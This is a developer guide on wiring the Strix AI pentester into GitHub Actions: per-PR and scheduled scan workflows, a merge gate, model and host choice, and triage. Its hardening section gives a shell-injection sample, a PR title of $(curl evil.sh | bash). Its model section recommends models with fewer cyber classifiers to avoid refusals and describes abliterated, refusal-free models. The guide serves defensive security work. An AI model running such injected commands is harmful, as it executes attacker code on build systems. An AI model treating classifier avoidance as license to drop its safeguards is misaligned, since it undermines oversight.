# Security reviews in CI: an AI pentester on every PR > How to wire Strix (or any AI harness) into GitHub Actions without letting it own your repo. Run it before merging, and on a regular interval. **Field Guide** · **Updated:** 2026-09-04 · **Tags:** ci-cd, github-actions, ai, security-review, strix, supply-chain, automation _Source: https://verybadpanda.dev/field-guide/ai-security-harness-ci_ --- ![Bandit the masked raccoon, holding a magnifying glass, perched in a trash can and squinting at printouts of source code, with more pages scattered across the ground around him](https://verybadpanda.dev/assets/bandit-code-review.webp) *Bandit reads every line of the diff so you don't have to hope you did. That's the job you're handing the harness.* The same AI that lets attackers find holes in your app lets you find them first. That's the whole play. AI doesn't just ship code faster — it hunts for vulnerabilities, too. You already build with harnesses like Claude Code and Cursor; now there are **security harnesses** that do the opposite job: breaking into your app by reading its source, or *running* it in a sandbox and black-box testing it from nothing but a URL. [Strix](https://github.com/usestrix/strix) is the one we'll wire up. Point one at your own code before someone points theirs at your merchants'. Testing continuously isn't optional — it's how you protect your customers' data, and as the developer it's on you. This guide builds that into your pipeline two ways: a fast scan on every risky PR to catch vulnerabilities before they ship, and a deep scan on a schedule to keep auditing what's already live. The trick is running it so it's *useful* (catches real bugs), *affordable* (an LLM pentest is slow and costs tokens), and *safe* (a bot with repo access and a merge vote is itself a juicy target). Here's the shape that gets all three. ## Two scans, not one An AI pentest is too slow and costly to run on every push, and too valuable to run only once. So split it in two, by cadence: | | **Quick pass** (per-PR) | **Deep sweep** (interval) | |---|---|---| | Trigger | Opt-in label on a PR (`security-scan`) | Cron (e.g. monthly) + manual dispatch | | Scope | **Diff only** — the changed files vs. the base branch | **Whole app** — full source tree | | Mode | `quick` | `deep` | | Runtime | Minutes (capped) | An hour or more | | Budget | A few dollars of tokens | Tens of dollars | | Job | Catch regressions *before merge* | Catch drift the diffs missed | | Blocks merge? | Yes — on high/critical only | No — advisory, files an issue | The per-PR pass is the guardrail on new code; the interval sweep is the periodic audit that finds what accumulated — the endpoint added six months ago that nobody flagged, the scope that quietly went unused. Neither one alone is enough. Here's the per-PR flow end to end: ```mermaid flowchart TD PR([PR opened / pushed]) --> LBL{security-scan
label present?} LBL -->|yes| SCAN[Strix quick scan
diff-scoped, budget-capped] LBL -->|no| SKIP[Scan skipped]:::good SCAN --> FIND{findings?} FIND -->|yes| REPORT[File tracking issue
+ PR comment] FIND -->|none| GATE{security gate} REPORT --> SEV{high or critical?} SEV -->|yes| GATE SEV -->|medium or low| GATE SKIP --> GATE GATE -->|high or critical| BLOCK[Merge blocked]:::bad GATE -->|clean or advisory| MERGE[Merge allowed]:::good classDef bad fill:#1a0f0f,stroke:#FF5F56,color:#FF5F56; classDef good fill:#0d1a12,stroke:#7CF9A0,color:#7CF9A0; ``` Two things to notice, because they're what make this survivable on a busy repo: - **The scan is opt-in.** A dev flags a PR as security-relevant with a label. Auto-scanning every PR is slow, noisy, and expensive — most PRs don't touch the trust boundary. - **The gate always runs, the scan doesn't.** The merge check is a separate, always-on job. Skip the scan and the gate passes. That's deliberate: a *required* check that only sometimes runs would deadlock every normal PR forever. Don't want to rely on a human remembering the label? Trigger on **what the PR changed** instead — the trust-boundary code: webhooks, auth, session/token handling, API routes. The trap: **don't** reach for a top-level `on.pull_request.paths:` filter — it skips the *whole workflow* on non-matching PRs, including the required `security-gate`, and a required check that never runs deadlocks every unrelated PR (the exact failure the always-on gate exists to prevent). Keep the workflow firing on all PRs and gate the **scan job** on a cheap diff check, same shape as the label: ```yaml changes: # cheap ubuntu job, runs on every PR runs-on: ubuntu-latest outputs: risky: ${{ steps.f.outputs.risky }} steps: - uses: actions/checkout@v4 with: { fetch-depth: 0 } - id: f env: BASE_REF: ${{ github.base_ref }} run: | FILES="$(git diff --name-only "origin/$BASE_REF"...)" echo "$FILES" | grep -qE '(webhooks/|/auth/|\.server\.(ts|js)$|routes/api/)' \ && echo "risky=true" >> "$GITHUB_OUTPUT" \ || echo "risky=false" >> "$GITHUB_OUTPUT" scan: needs: [changes] if: > github.event.pull_request.draft == false && (needs.changes.outputs.risky == 'true' || contains(github.event.pull_request.labels.*.name, 'security-scan')) # …rest of the scan job unchanged… ``` Keep the `security-scan` label as the `||` override, so a dev can still force a scan on a risky change your path list didn't anticipate. Paths catch the obvious trust-boundary edits; the label covers the ones they don't. ## Scan 1 — the per-PR quick pass Label-gated, diff-scoped, budget-capped. This is the whole job: ```yaml # .github/workflows/security-quick-scan.yml name: security-quick-scan on: pull_request: # Include labeled/unlabeled so the required gate below re-evaluates on label # changes; opened/synchronize so it reports on every PR. types: [opened, synchronize, reopened, ready_for_review, labeled, unlabeled] concurrency: # Rapid pushes to one PR collapse to a single scan. group: security-scan-${{ github.event.pull_request.number }} cancel-in-progress: true permissions: contents: read pull-requests: write # to post the findings comment issues: write # to file the tracking issue jobs: scan: # Only labeled, non-draft PRs actually scan. Everything else skips → gate passes. if: > github.event.pull_request.draft == false && contains(github.event.pull_request.labels.*.name, 'security-scan') runs-on: ubuntu-latest timeout-minutes: 30 outputs: blocking: ${{ steps.severity.outputs.blocking }} steps: - uses: actions/checkout@v4 with: fetch-depth: 0 # need the base ref for a diff-scoped scan - name: Install Strix run: pipx install strix-agent - name: Quick diff scan id: strix continue-on-error: true # findings are surfaced by the gate, not by failing here env: # The model is a privacy + guardrail decision, not just a capability one — # see "Choosing the model" below for why this is a mid-tier Opus, not the newest. STRIX_LLM: anthropic/claude-opus-4-6 LLM_API_KEY: ${{ secrets.LLM_API_KEY }} STRIX_REASONING_EFFORT: medium BASE_REF: ${{ github.base_ref }} run: | strix -n \ -m quick \ --scope-mode diff --diff-base "origin/$BASE_REF" \ --max-budget 5 \ -t . - name: Upload results if: always() uses: actions/upload-artifact@v4 with: name: strix-pr-${{ github.event.pull_request.number }}-${{ github.run_id }} path: strix_runs/ retention-days: 14 ``` What each guardrail is buying you: - `--scope-mode diff --diff-base` — reviews only what the PR changed, so a quick scan is minutes, not hours. (This is why `fetch-depth: 0` — you need the base ref to diff against.) - `--max-budget 5` + `timeout-minutes: 30` — two independent ceilings on spend. Strix stops at the dollar cap; the runner stops at the wall-clock cap. Neither can run away. - `continue-on-error: true` — the scan *step* never fails the build. Strix exits non-zero when it finds something; you want that signal reported and gated, not thrown as a raw CI failure. - `concurrency … cancel-in-progress` — force-push twice in a minute and you pay for one scan, not three. Installing Strix and shipping an API key on every run is fine to start. A mature setup moves the scan onto a **self-hosted runner** with the tool pre-baked into the image and the model reached through your **cloud provider** (e.g. Amazon Bedrock via the runner's IAM role) — so there's no `LLM_API_KEY` in CI at all, and no per-run install. Same flags, better blast radius. ## Turn findings into issues — and a merge gate A scan that dumps a log nobody reads is theatre. Do two things with the output: **deliver it where the work happens** (a PR comment + a tracking issue), and **gate the merge on risk**. Add a reporting step to the `scan` job. The critical detail is that **every untrusted PR field goes through `env`, never interpolated into the script** — see [Harden the harness](#harden-the-harness) for why that one habit matters most: ```yaml - name: Report findings (tracking issue + PR comment) if: steps.strix.outcome == 'failure' # Strix exits non-zero on findings env: GH_TOKEN: ${{ github.token }} PR_NUMBER: ${{ github.event.pull_request.number }} PR_URL: ${{ github.event.pull_request.html_url }} run: | JSON="$(find strix_runs -name vulnerabilities.json | head -1)" COUNT="$(find strix_runs -path '*/vulnerabilities/*.md' | wc -l | tr -d ' ')" [ "$COUNT" -gt 0 ] || exit 0 # e.g. "2× high, 1× medium" — a group-by over the structured output. SUMMARY="$(jq -r '[.[].severity]|group_by(.)|map("\(length)× \(.[0])")|join(", ")' "$JSON")" BODY="$RUNNER_TEMP/findings.md" { printf 'Findings from the AI security scan on PR **#%s** — %s\n\n' "$PR_NUMBER" "$PR_URL" printf '**Summary:** %s\n\n' "$SUMMARY" printf '> AI-generated and diff-scoped. **Triage before acting** — expect false positives.\n\n' find strix_runs -path '*/vulnerabilities/*.md' | sort \ | while read -r f; do cat "$f"; printf '\n\n---\n\n'; done } | head -c 60000 > "$BODY" ISSUE_URL="$(gh issue create \ --title "[security] Scan findings on PR #$PR_NUMBER — $(date +%Y-%m-%d)" \ --body-file "$BODY")" gh pr comment "$PR_NUMBER" --body "🦉 Security scan — **$SUMMARY**. Tracking: $ISSUE_URL" - name: Compute blocking severity id: severity if: always() run: | JSON="$(find strix_runs -name vulnerabilities.json | head -1)" HC=0 [ -n "$JSON" ] && HC="$(jq '[.[] | select((.severity|ascii_downcase)|test("^(high|critical)$"))] | length' "$JSON")" echo "blocking=$([ "${HC:-0}" -gt 0 ] && echo true || echo false)" >> "$GITHUB_OUTPUT" ``` Then the always-on gate — a cheap second job that's the one you mark **required** in branch protection: ```yaml security-gate: needs: [scan] if: always() # ← always runs, so it can be a required status check runs-on: ubuntu-latest steps: - name: Evaluate scan outcome env: SCAN_RESULT: ${{ needs.scan.result }} SCAN_BLOCKING: ${{ needs.scan.outputs.blocking }} run: | case "$SCAN_RESULT" in skipped) echo "No label / draft — scan not requested. Pass."; exit 0 ;; failure|cancelled) echo "::warning::Scan didn't complete cleanly — failing open."; exit 0 ;; esac if [ "$SCAN_BLOCKING" = "true" ]; then echo "::error::High/critical findings — blocking merge. See the PR comment." exit 1 fi echo "No high/critical findings — pass." ``` Three design choices are doing real work here: - **The gate is a separate always-on job.** It's the required check. Because it runs on every PR (labeled or not), it can be *required* without deadlocking unlabeled PRs — they skip the scan, and the gate reads `skipped` as a pass. - **It fails *open* on scanner errors.** If Strix or the LLM backend is down, the gate warns and passes. You do not want your ability to merge anything held hostage by a third-party model's uptime. (Availability is not the threat you're defending against here.) - **Only high/critical block.** Medium and low are filed as issues and comments but never wedge a merge. That's your risk profile, in one line of `jq`. ## Scan 2 — the deep interval sweep Same tool, opposite tradeoffs: full scope, deep mode, generous budget, on a schedule. It never blocks anything — it files an issue you triage. ```yaml # .github/workflows/security-deep-scan.yml name: security-deep-scan on: schedule: - cron: "0 6 1 * *" # 06:00 UTC on the 1st of each month workflow_dispatch: # …and on demand inputs: max_budget: { description: "Max LLM spend (USD)", default: "40" } concurrency: group: security-deep cancel-in-progress: false # never kill a long deep scan mid-run permissions: contents: read issues: write jobs: deep-scan: runs-on: ubuntu-latest timeout-minutes: 180 # deep mode can run 1–2 hours steps: - uses: actions/checkout@v4 - run: pipx install strix-agent - name: Deep scan id: strix continue-on-error: true # a scheduled scan is advisory — never fail the schedule env: STRIX_LLM: anthropic/claude-opus-4-6 LLM_API_KEY: ${{ secrets.LLM_API_KEY }} STRIX_REASONING_EFFORT: high MAX_BUDGET: ${{ github.event.inputs.max_budget || '40' }} run: strix -n -m deep --scope-mode full --max-budget "$MAX_BUDGET" -t . - name: Upload results if: always() uses: actions/upload-artifact@v4 with: { name: strix-deep-${{ github.run_id }}, path: strix_runs/, retention-days: 90 } - name: File findings issue if: steps.strix.outcome == 'failure' env: { GH_TOKEN: "${{ github.token }}" } run: | BODY="$RUNNER_TEMP/deep.md" find strix_runs -path '*/vulnerabilities/*.md' | sort \ | while read -r f; do cat "$f"; printf '\n\n---\n\n'; done | head -c 60000 > "$BODY" gh issue create --title "[security] Deep scan findings — $(date +%Y-%m-%d)" --body-file "$BODY" ``` Note the inverted defaults: `cancel-in-progress: false` (never interrupt a two-hour run), `reasoning_effort: high` (you're paying for depth, not speed), and no gate at all (drift findings are for triage, not for blocking whoever happens to push next). ## Choosing the harness The harness is the orchestrator — it decides what to probe and what to run next, drives the sandbox, and files what it finds. Nearly all are **model-agnostic** (usually via LiteLLM): you plug a model into it (the next section), so the harness and the model are two separate choices. It's a crowded, fast-moving field — ranked by GitHub stars at the time of writing, the notable open-source autonomous pentesters: | Harness | Stars | License | Self-host | Approach | Model | |---|--:|---|:-:|---|---| | **[Strix](https://github.com/usestrix/strix)** | 60k | Apache-2.0 | ✅ | Source **and** black-box (a repo *or* a URL) | Any (LiteLLM) | | **[PentAGI](https://github.com/vxcontrol/pentagi)** | 22k | MIT | ✅ | Autonomous, containerized agents; black-box | Any (OpenAI, Anthropic, Ollama…) | | **[PentestGPT](https://github.com/GreyDGL/PentestGPT)** | 15k | MIT | ✅ | Black-box; interactive + autonomous | Any, pluggable | | **[CAI](https://github.com/aliasrobotics/cai)** | 10k | Custom ¹ | ✅ | Extensible agent framework; local models | Any, incl. self-hosted | | **[Decepticon](https://github.com/PurpleAILAB/Decepticon)** | 5k | Apache-2.0 | ✅ | Autonomous multi-agent red team | Any (LiteLLM) | | **[PentestAgent](https://github.com/GH05TCREW/pentestagent)** | 3k | MIT | ✅ | Black-box; bug-bounty / red-team | Any (OpenAI, Claude…) | | **[Pentest-Swarm-AI](https://github.com/Armur-Ai/Pentest-Swarm-AI)** | 2.5k | AGPL-3.0 | ✅ | Swarm: recon → classify → exploit | Any (Claude, Ollama…) | ¹ CAI ships a non-standard license — review its terms before commercial use. A couple of things the star-ranking would otherwise blur: - **[HexStrike AI](https://github.com/0x4m4/hexstrike-ai)** (11k) is a different shape — an **MCP server** that hands 150+ pentest tools to an agent you already run (Claude Code, Cursor). Pair it *with* a harness, not instead of one. - **Don't confuse these with LLM red-teaming tools** (promptfoo, deepteam) — those attack *your models*, not your app. Different job. - The full, churning field is tracked in the [Awesome-Offensive-AI-Agentic-Landscape](https://github.com/Yeti-791/Awesome-Offensive-AI-Agentic-Landscape) and [Awesome-AI-Hacking-Agents](https://github.com/EvanThomasLuke/Awesome-AI-Hacking-Agents) lists. What to weigh: **open-source + self-hostable** (audit it, keep it inside your network), **source vs. black-box** coverage (source-scanning fits a CI diff; black-box fits a deployed staging URL — Strix does both), and **CI ergonomics** — a non-interactive mode, budget caps, and machine-readable output. Whatever you pick is just the driver; the intelligence is the model you put behind it. > 🦝 **One to skip:** *Villager* is an MCP-driven pentest agent researchers flag as China-linked > and abuse-prone (a Cobalt-Strike-style trajectory). Capable, but not something to wire into your > build. ## Choosing the model The harness is the driver; the model is the brain. Four things decide it for an autonomous pentester — **will it do authorized offensive work, how capable is it, what does it cost, and can you self-host it** — and they don't line up the way you'd guess. | Model tier | Offensive-work guardrails | Effectiveness | Cost | Self-hostable | |---|---|---|---|---| | **Mid-tier Opus** (Claude Opus 4.8 / 4.6) | Fewer cyber classifiers — does authorized work | Top | $$ | ❌ | | **Newest flagships** (Claude Fable 5 / Opus 5; peer GPT / Gemini) | Heaviest — **may refuse authorized pentest** | Top | $$–$$$ | ❌ | | **Open-weight general** (Llama, Qwen, DeepSeek, gpt-oss, GLM, Kimi) | You control them; rarely refuse | Good — trails frontier on long-horizon reasoning | $ (infra) | ✅ | | **Security-tuned open** ([Foundation-Sec-8B](https://huggingface.co/fdtn-ai/Foundation-Sec-8B), Trend Cybertron) | Defensive-tuned | Narrow — CTI / triage; weak as an autonomous attacker | $ | ✅ | | **Uncensored / offense-tuned** ([WhiteRabbitNeo-V3 / DeepHat](https://www.deephat.ai/), abliterated builds) | None — won't refuse | Small base, **unvetted output** | $ | ✅ | *Cost is per-MTok for hosted (mid Opus ≈ $5/$25, Fable ≈ $10/$50) and GPU/infra for self-host. Effectiveness is deliberately qualitative — the 2026 offense benchmarks floating around for open models are mostly vendor/blog numbers, so don't bet on a single score.* ### The guardrail trap: your pentester may refuse to pentest Here's the counterintuitive part. The **newest, most capable models carry the heaviest cybersecurity guardrails**, and an autonomous pentester is exactly the workload that trips them. Developers have hit refusals mid-engagement even on legitimately authorized work. Vendor policy is clear that *authorized* security work is allowed — Anthropic's usage policy permits discovering vulnerabilities **with the system owner's consent** — but the model can't verify your authorization from inside a scan. So two things help: give the harness a system prompt stating the role, the authorization, and the scope; and **don't reach for the newest model by reflex**: - **Claude Fable 5** — the most capable, and the *worst* fit here: its safety classifiers explicitly target most cybersecurity content, and it's stated to be not intended for that domain. It also can't run under zero-retention. - **Claude Opus 5** — elevated cyber safeguards; cyber-category refusals are designed to fall back to **Opus 4.8**. - **A mid-tier Opus (4.8 / 4.6)** — capable enough for diff-scoped review, with fewer cyber classifiers in the way. This is why the workflows above pin `claude-opus-4-6` rather than the flagship. It's a deliberate choice, not a stale one. "Newer generations are better-calibrated" is *not* an established fact — over-refusal can even regress across versions — so treat model choice as something to test against your own scope, not assume. On Amazon Bedrock, **Claude Fable 5 traffic is retained for up to 30 days** for automated abuse detection, and classifier-flagged traffic can be **human-reviewed** — the opposite of Bedrock's default zero-retention. For a harness feeding source code and live-vulnerability findings through the model, that's a data-governance decision, not a footnote. Enterprise zero-retention carve-outs exist, but confirm your org's configuration before pointing a scanner at it. > 🦝 **The uncensored escape hatch — and why it's a trap for CI.** Security-tuned open models > (WhiteRabbitNeo / DeepHat, "abliterated" builds with the refusal direction removed) never > refuse offensive tasks. Fine for a human running a tool locally and checking every result. > But they're built on smaller bases (weaker reasoning) and their output is **uncensored *and* > unvetted** — including confidently wrong findings. As the autonomous thing that gates your > merges, that's a downgrade on both capability and trust. Prefer a frontier model that will do > authorized work over an uncensored one that will do anything. ## Choosing the inference host The same model can run in several places, and the host — not the model — decides **residency, retention, and governance**, the compliance half of this. It matters as much as the model, because the harness feeds your source code and a map of your live vulnerabilities through it. | Host | Serves | Inference location / residency | Training & retention | Setup | |---|---|---|---|---| | **AWS Bedrock** | Claude, Nova, Llama, Mistral, DeepSeek | Your Region; `us.`/`eu.`/`apac.` profiles (skip `global`) | No training or vendor sharing; zero-retention by default (**Fable 5 = 30-day exception**) | Cloud IAM role — no key in CI | | **Google Vertex AI** | Claude (Model Garden), Gemini, Llama | Your Region; regional endpoints (skip `global`) | No training on your data, partner models included | GCP service account | | **OpenRouter** | Routes to ~any provider | **Opaque** by default; EU-in-region only on the enterprise tier | Zero-retention default, but the *effective* policy is the union with the downstream provider | One API key | | **Self-hosted** (Ollama / vLLM) | Open-weight only | **Your hardware** — air-gappable | Nothing leaves the network | GPUs + ops | - **Bedrock and Vertex are the strong default for a regulated Shopify app** — no training on your data, encrypted at rest in your Region, and the compliance coverage you'll be asked about (SOC, ISO, HIPAA, FedRAMP, GDPR). Both keep data in-geography through regional endpoints; skip either one's residency-free `global` option. (Vertex is the cloud Shopify itself runs on, if that tips it.) This is what the workflows above assume — the model reached through the runner's cloud IAM role, no key in CI. - **OpenRouter is the most convenient and the most work to make safe.** With defaults, the same prompt can hit different companies in different countries on consecutive calls. Before any real target data flows: opt out of training at the account level, and per request set `zdr: true`, `data_collection: "deny"`, an explicit `only` provider list, and `allow_fallbacks: false`. - **Self-hosting is the only way to guarantee nothing leaves your network** — point Strix's `LLM_API_BASE` at a local Ollama / vLLM endpoint — at the cost of capability and the GPUs to serve it. **Putting it together:** for most teams, run **Strix** against a **mid-tier Opus** on **Bedrock or Vertex** via an IAM role — capable, willing to do authorized work, and governed. Self-host an open model when target data can't leave your network; keep OpenRouter for experiments, locked down. ## Harden the harness You've just given a bot repo read access, issue-write, PR-comment, and a vote on merges. That bot runs on input an attacker controls — the PR. Treat the workflow itself as attackable. A PR title, branch name, or body is **attacker-controlled text**. Drop it straight into a `run:` block and it's shell injection: ```yaml # ☠️ DON'T — a PR titled $(curl evil.sh | bash) runs on your runner run: echo "Scanning ${{ github.event.pull_request.title }}" ``` ```yaml # ✅ DO — pass through env; the value is data, never code env: PR_TITLE: ${{ github.event.pull_request.title }} run: printf '%s\n' "$PR_TITLE" ``` The rest of the checklist, straight from [GitHub's hardening guide](https://docs.github.com/en/actions/reference/security/secure-use-reference): - **Least-privilege `GITHUB_TOKEN`.** Set `permissions:` explicitly per workflow — `contents: read` and only the writes you use. Don't inherit the repo default. - **Don't scan fork PRs with secrets.** `pull_request` (what these workflows use) runs with a read-only token and *no* secrets for forks — good. Never "fix" a missing key by switching to `pull_request_target`, which runs privileged **with your secrets** against untrusted code. That's the classic pipeline takeover. - **Pin your actions and tools.** Pin third-party actions to a full commit SHA, and prefer a vetted, pinned Strix version (a baked runner image, ideally) over `curl | bash` on every run — your scanner is itself a supply-chain dependency. See Shopify's note on [managing supply-chain risk](https://shopify.dev/docs/apps/build/security/following-security-best-practices). - **Cap the spend.** `--max-budget` and `timeout-minutes` aren't just cost controls — they bound what a prompt-injected or runaway agent can do on your dime. ## Triage: findings are signals, not verdicts An AI pentester is a *lead generator*, not an oracle. It will surface real bugs a human review missed — and it will also confidently report things that aren't exploitable. Both are normal. Build the triage habit into the workflow so nobody treats a scan comment as gospel: | Severity | What the pipeline does | What you do | |---|---|---| | **Critical / High** | Files issue + comment, **blocks merge** | Verify the exploit, fix or explicitly waive before merge | | **Medium** | Files issue + comment, advisory | Triage into the backlog; fix on its own PR | | **Low / Info** | Files issue + comment, advisory | Batch-review; close false positives with a note | Two rules keep this honest: 1. **Verify before acting.** Reproduce the finding — Strix runs real proof-of-concept exploits, so there's usually something concrete to replay. If you can't reproduce it, it's a false positive; close it with a one-line reason so the next scan's duplicate is easy to dismiss. 2. **Turn confirmed findings into tests.** A real bug the scan caught should leave a [deterministic test](https://verybadpanda.dev/field-guide/authorization) behind so it can never regress silently. The AI finds the candidate once; your test suite holds the line forever. That pairing — *non-deterministic hunter, deterministic guard* — is the whole point. This also feeds straight into Shopify's own expectations: the App Store review has a [dedicated security section](https://shopify.dev/docs/apps/launch/shopify-app-store/app-store-requirements), and the [protected customer data requirements](https://shopify.dev/docs/apps/launch/protected-customer-data) ask you to have a real security-incident and data-loss-prevention posture. A scanning pipeline with a triage trail is evidence you do. ## The checklist - [ ] Two workflows: a **diff-scoped quick scan** (per-PR) and a **full deep scan** (scheduled) - [ ] Per-PR scan is **opt-in via label** — you don't auto-scan every PR - [ ] Findings become a **PR comment + a tracking issue**, not just a CI log - [ ] A **separate always-on gate** job is the required check; it **fails open** on scanner errors - [ ] Merge blocks on **high/critical only**; medium/low stay advisory - [ ] Every scan has **both** a `--max-budget` and a `timeout-minutes` ceiling - [ ] Untrusted PR fields flow through **`env:`**, never `${{ }}` in a `run:` script - [ ] `permissions:` is least-privilege; fork PRs never run with secrets (`pull_request`, not `pull_request_target`) - [ ] Actions pinned to SHAs; the scanner itself is a **pinned, vetted** dependency - [ ] Confirmed findings leave a **regression test** behind ## References - [Strix](https://github.com/usestrix/strix) — the open-source autonomous AI pentesting agent this guide wires up: it runs your code and validates findings with real exploits. - [GitHub Actions — secure use reference](https://docs.github.com/en/actions/reference/security/secure-use-reference) — script injection, `GITHUB_TOKEN` permissions, and the `pull_request_target` trap. - [Following security best practices](https://shopify.dev/docs/apps/build/security/following-security-best-practices) — Shopify on broken access control, using official templates, operating secure infra, and managing supply-chain risk. - [App Store requirements — §3 Security](https://shopify.dev/docs/apps/launch/shopify-app-store/app-store-requirements) — the security bar your app is reviewed against before listing. - [Work with protected customer data](https://shopify.dev/docs/apps/launch/protected-customer-data) — the data-protection, DLP, and incident-response requirements a scanning pipeline helps you evidence. - [Deploy app components in a CD pipeline](https://shopify.dev/docs/apps/launch/deployment/deploy-in-ci-cd-pipeline) — the deploy half of CI/CD; add the security scans above alongside it. - [Anthropic Usage Policy](https://www.anthropic.com/legal/aup) — authorized security work is permitted **with the system owner's consent**; the line the harness's refusals sit on. - [Amazon Bedrock — abuse detection & data retention](https://docs.aws.amazon.com/bedrock/latest/userguide/abuse-detection.html) — the zero-retention default, and the models (Fable 5) that are the exception. - [OpenRouter — Zero Data Retention](https://openrouter.ai/docs/guides/features/zdr) — the `zdr` / `data_collection` knobs and what "retention" does and doesn't cover. - [Vertex AI — data governance](https://cloud.google.com/vertex-ai/generative-ai/docs/data-governance) — Google's "we don't train on your data" commitment across managed and partner (Claude) models.